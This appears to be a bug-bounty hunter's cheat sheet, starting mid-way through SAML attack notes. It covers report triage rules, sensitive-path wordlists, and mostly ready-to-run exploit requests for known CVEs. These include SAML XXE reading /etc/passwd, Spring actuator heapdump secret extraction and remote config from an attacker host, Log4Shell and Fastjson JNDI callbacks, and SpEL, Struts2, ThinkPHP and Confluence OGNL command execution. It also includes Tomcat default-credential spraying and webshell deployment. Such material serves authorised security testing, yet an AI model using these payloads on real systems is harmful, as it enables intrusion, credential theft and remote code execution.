<ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID>
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature>VALID_SIGNATURE</ds:Signature>
</saml:Assertion>
</saml:Response>
Attack 2: Comment Injection in NameID
<NameID>admin@company.com</NameID>
Attack 3: Signature Stripping
1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to admin@company.com
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login
Attack 4: XXE in SAML Assertion
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
</saml:Response>
Tools
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
cat saml.xml | base64 -w0
GF PATTERN NAMES (tomnomnom/gf)
gf xss
gf ssrf
gf idor
gf sqli
gf redirect
gf lfi
gf rce
gf ssti
gf debug_logic
gf secrets
gf upload-fields
gf cors
ALWAYS REJECTED — NEVER SUBMIT
Submitting these destroys your validity ratio. N/A hurts. Don't.
Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC) — for working overlay PoC against sensitive action, see web2-vuln-classes **CSS Injection**
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields
CONDITIONALLY VALID — REQUIRES CHAIN
These are valid ONLY when combined with a chain that proves real impact:
| Standalone Finding | Chain Required | Result if Chained |
|---|
| Open redirect | + OAuth code theft via redirect_uri abuse | ATO (Critical) |
| Clickjacking | + sensitive action + working PoC (not just login) — see web2-vuln-classes CSS Injection for the opacity-overlay template | Medium |
| CORS wildcard | + credentialed request exfils user data | High |
| CSRF | + sensitive action (transfer funds, change email) | High |
| Rate limit bypass | + OTP/token brute force succeeding | Medium/High |
| SSRF DNS-only | + internal service access + data retrieval | Medium |
| Host header injection | + password reset email uses it | High |
| Prompt injection | + reads other user's data (IDOR) OR exfil OR RCE | High |
| S3 bucket listing | + JS bundles with API keys/OAuth secrets | Medium/High |
| Self-XSS | + CSRF to trigger it on victim | Medium |
| Subdomain takeover | + OAuth redirect_uri registered at that subdomain | Critical |
| GraphQL introspection | + auth bypass mutation or IDOR on node() | High |
Rule: Build the chain first, confirm it works end-to-end, THEN report. Never report A and say "could chain with B" — prove it.
WORDLISTS (Installed in ~/wordlists/)
common.txt # Common directories and files
params.txt # Parameter names (id, user_id, file, etc.)
api-endpoints.txt # API endpoint paths (/api/v1/users, etc.)
dirs.txt # Directory names
sensitive.txt # Sensitive paths (.env, config.json, backup, etc.)
Built-in Paths Worth Fuzzing
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2
FRAMEWORK 1-DAY QUICK-WINS
Enterprise frameworks ship known-CVE footguns. Recon fingerprints the stack — this section bridges fingerprint -> exact detection request -> exploit payload -> severity so a stack match becomes a fast Critical/High instead of a note.
Why these pay: a precise version fingerprint maps to a public CVE, and the PoC is a single request. This is the highest signal-per-minute work in the file — when httpx/nuclei flag Spring Boot, Tomcat, Confluence, ThinkPHP, etc., come straight here.
Before you claim impact: confirm the running version is actually in the vulnerable range AND land the working PoC (extracted secret, reflected command output, deployed shell). A version banner alone is on the always-rejected list — "looks vulnerable" is N/A. Fingerprint via Server/X-Application-Context headers, error pages, /META-INF/MANIFEST.MF, *.js.map, or a /package.json//composer.json//pom.xml leak (see Error Disclosure / Debug Endpoints class).
Quick Routing Table
| Fingerprint signal | Jump to | Best case |
|---|
X-Application-Context, /actuator, Whitelabel error page | Spring Boot Actuator | Critical (heapdump secrets / env RCE) |
| Spring app + reflected expression sink | Spring SpEL | Critical (RCE) |
Spring Cloud Gateway + /actuator/gateway | Spring Cloud Gateway | Critical (RCE) |
| Any Java app logging user input (UA, headers) | Log4Shell | Critical (RCE) |
Java API echoing JSON, @type accepted | Fastjson / Jackson AutoType | Critical (RCE) |
Set-Cookie: PHPSESSID + ?s= routing, think\ in errors | ThinkPHP | Critical (RCE) |
Werkzeug traceback / /console, Server: Werkzeug | Flask / Werkzeug | Critical (RCE) |
Server: Apache-Coyote, /manager/html, JSESSIONID | Tomcat Manager | Critical (RCE) |
.action/.do URLs, Struts in stack trace | Struts2 OGNL | Critical (RCE) |
/control/main, OFBiz in title/headers | Apache OFBiz | Critical (RCE) |
X-Confluence-Request-Time, /wiki, Atlassian footer | Confluence OGNL | Critical (RCE) |
Spring Boot Actuator (/actuator/env, /heapdump, /gateway)
Fingerprint: X-Application-Context header, Whitelabel Error Page, /actuator returns a JSON link index.
for p in env health info heapdump mappings configprops gateway threaddump beans; do
for base in /actuator /; do
curl -s -o /dev/null -w "%{http_code} ${base}${p}\n" "https://target.com${base}${p}"
done
done
Exploit — heapdump secret extraction (Critical, no auth needed):
curl -s "https://target.com/actuator/heapdump" -o heap.hprof
strings heap.hprof | grep -iE 'password|secret|aws_|api[_-]?key|jdbc:|authorization|bearer ' | sort -u
Exploit — /env write -> RCE (Critical, when POST is allowed on older Boot 1.x/2.x):
curl -s "https://target.com/actuator/env" -X POST -H "Content-Type: application/json" \
-d '{"name":"spring.cloud.bootstrap.location","value":"http://ATTACKER/x.yml"}'
curl -s "https://target.com/actuator/refresh" -X POST
Submittable: an extracted live credential, or proven RCE. N/A: /actuator/health exposed alone, or /env with all values masked as ******.
Spring SpEL Injection
Fingerprint: Spring app reflecting a parameter into an expression sink (route conditions, @Value, query builders, error templates).
curl -s "https://target.com/path?x=%23%7B7*7%7D"
curl -s "https://target.com/path?x=%24%7B7*7%7D"
⚠️ ${...} is a trap. ${7*7}->49 is usually Spring's property-placeholder / error-page reflection, which does not evaluate the T(...) operator — ${T(java.lang.Runtime)...} silently fails. Only a true SpEL sink (#{...}, or SpelExpressionParser.parseExpression() on your input) runs the RCE payloads below. Confirm with #{7*7} before burning the 5-minute window on T() payloads.
Exploit (Critical, RCE) — needs a true SpEL #{...} / parseExpression sink:
#{T(java.lang.Runtime).getRuntime().exec('id')}
#{T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","id"})}
#{T(org.springframework.cglib.core.ReflectUtils).defineClass(...)}
#{T(java.net.InetAddress).getByName('OUTPUT.attacker.oast.site')}
Submittable: reflected id/whoami output or an OAST DNS hit you control via a #{}/SpEL sink. N/A: 49 reflection alone (especially ${}-only) with no working T() execution — that is just expression reflection, keep digging to a real SpEL sink + RCE.
Spring Cloud Gateway — SpEL Code Injection (CVE-2022-22947)
Fingerprint: Spring Cloud Gateway 3.0.0–3.0.6 / 3.1.0 with the gateway actuator exposed.
curl -s -o /dev/null -w "%{http_code}\n" "https://target.com/actuator/gateway/routes"
Exploit (Critical, unauthenticated RCE):
curl -s -X POST "https://target.com/actuator/gateway/routes/poc" \
-H "Content-Type: application/json" -d '{
"id":"poc","filters":[{"name":"AddResponseHeader","args":{
"name":"Result",
"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}}],"uri":"http://example.com"}'
curl -s -X POST "https://target.com/actuator/gateway/refresh"
curl -si "https://target.com/actuator/gateway/routes/poc" | grep -i Result
curl -s -X DELETE "https://target.com/actuator/gateway/routes/poc"
Log4Shell — Log4j JNDI (CVE-2021-44228)
Fingerprint: any Java app that logs user input — User-Agent, X-Api-Version, Referer, username fields, search boxes. No version banner needed; spray the marker and watch for a callback.
PAYLOAD='${jndi:ldap://${hostName}.OAST_ID.oast.site/a}'
curl -s "https://target.com/" \
-H "User-Agent: $PAYLOAD" -H "X-Api-Version: $PAYLOAD" -H "Referer: $PAYLOAD"
Submittable: an OAST hit you control proving server-side JNDI lookup (the ${hostName}/${env:...} exfil variant strengthens it by leaking real data). DNS-only callback = Medium; full LDAP-gadget RCE = Critical. N/A: no callback (target patched or not logging that sink).
Fastjson / Jackson AutoType (JNDI Deserialization)
Fingerprint: Java API that parses a JSON request body and reflects/echoes it; sending an extra @type key changes behavior or errors with autoType is not support.
curl -s "https://target.com/api/x" -H "Content-Type: application/json" -d '{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://OAST_ID.oast.site/a",
"autoCommit":true
}'
Exploit (Critical, RCE): stand up a malicious JNDI server, then point dataSourceName at it.
java -jar JNDIExploit.jar -i ATTACKER_IP
Note: post-JDK-8u191, attacker JNDI must use a local-classpath gadget (BeanFactory/ELProcessor) instead of remote codebase. Submittable: OAST hit + landed gadget (reflected command output / shell). N/A: autoType is not support returned = blocked, move on.
ThinkPHP 5.x RCE (invokefunction)
Fingerprint: PHP app, ?s= routing in URLs, think\ namespace in errors, Set-Cookie: PHPSESSID. Affected: 5.0.5–5.0.22 and 5.1.x before 5.1.31.
curl -s "https://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" | grep -i 'php version'
curl -s "https://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"
curl -s "https://target.com/?s=index/\think\Request/input&filter[]=system&data=id"
curl -s "https://target.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"
Submittable: reflected id/phpinfo() output. N/A: 404/200 with no command echo (patched or non-vuln minor).
Flask / Werkzeug Debug Console (PIN Regeneration)
Fingerprint: Server: Werkzeug/... header, an interactive traceback page on error, or /console returning a PIN prompt — means debug=True shipped to prod.
curl -s "https://target.com/console" | grep -i 'pin\|werkzeug\|interactive'
Exploit (Critical, RCE) — regenerate the PIN when you also have an LFI / path traversal:
The PIN is deterministic from local files. With an LFI primitive (see Path Traversal payloads) read the six inputs, then reproduce the PIN offline:
Submittable: code execution in the console (proves debug-prod + PIN broken). Even debug=True alone with the interactive traceback is a reportable info-leak (source + local vars + env). N/A: generic 500 page with no interactive traceback.
Tomcat Manager — Weak Creds + WAR Deploy / PUT Write
Fingerprint: Server: Apache-Coyote/1.1, JSESSIONID cookie, /manager/html prompts Basic-Auth.
for cred in tomcat:tomcat admin:admin tomcat:s3cret admin:tomcat manager:manager tomcat:admin; do
curl -s -o /dev/null -w "$cred -> %{http_code}\n" -u "$cred" "https://target.com/manager/text/list"
done
Exploit A (Critical, RCE) — deploy a JSP webshell WAR:
curl -s -u USER:PASS -T shell.war "https://target.com/manager/text/deploy?path=/poc&update=true"
curl -s "https://target.com/poc/shell.jsp?cmd=id"
Exploit B (Critical, RCE) — PUT JSP write, CVE-2017-12615 (Windows, readonly=false):
curl -s -X PUT "https://target.com/poc.jsp/" --data-binary @shell.jsp
curl -s "https://target.com/poc.jsp?cmd=id"
Submittable: authenticated Manager access (already High — it is admin of the app server) escalated to deployed-shell command output. N/A: Manager page reachable but every credential returns 401/403.
Struts2 OGNL (S2-045 / S2-046, CVE-2017-5638)
Fingerprint: .action / .do URLs, Struts in stack traces, OGNL artifacts. S2-045 lives in the Jakarta multipart parser via a malicious Content-Type.
curl -s -D - "https://target.com/index.action" \
-H "Content-Type: %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#ct.setMemberAccess(#dm)).(#cmd='id').(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Submittable: reflected command output in the response/header. N/A: no output (likely patched — Struts2 OGNL is heavily virtual-patched by WAFs; a 403 here is often the WAF, not the fix).
Apache OFBiz — Unauthenticated RCE (CVE-2023-49070 / CVE-2024-45195)
Fingerprint: /control/main, OFBiz in the title/headers, /webtools/control/... paths. Affected: < 18.12.10 (XML-RPC chain) and < 18.12.16 (view-auth bypass chain).
curl -sk "https://target.com/webtools/control/ViewBlogArticle?USERNAME=&PASSWORD=&requirePasswordChange=Y" -o /dev/null -w "%{http_code}\n"
curl -sk -o /dev/null -w "%{http_code}\n" "https://target.com/webtools/control/xmlrpc"
Exploit (Critical, unauthenticated RCE): the auth bypass (requirePasswordChange=Y / empty-creds override) reaches a screen that renders a Groovy program; chain to ProgramExport/XML-RPC deserialization to run a command. Use the public PoCs (jakabakos/Apache-OFBiz-Authentication-Bypass) to drive the request set, then confirm with an OAST callback or reflected output.
Submittable: proven command execution via the bypass chain. N/A: login page reachable but the override params still demand auth (patched ≥ 18.12.16).
Confluence / Atlassian OGNL (CVE-2022-26134)
Fingerprint: X-Confluence-Request-Time header, /wiki base, Atlassian footer. Pre-auth OGNL injection — the URL namespace is evaluated as OGNL.
curl -sk -D - -o /dev/null "https://target.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
Submittable: X-Cmd-Response containing real command output. Affected: all supported versions before 7.4.17 / 7.13.7 / 7.14.3 / 7.15.2 / 7.16.4 / 7.17.4 / 7.18.1. N/A: header absent (patched). Note many Confluence instances are vendor-hosted — check scope and asset ownership before firing.
Chain note: these often escalate — Spring heapdump -> AWS keys -> see SSRF class / cloud-metadata pivot; Tomcat/Confluence/OFBiz shell -> internal network -> SSRF and IDOR on adjacent services. Pull the secret or land the shell first, then map what it unlocks before writing the report.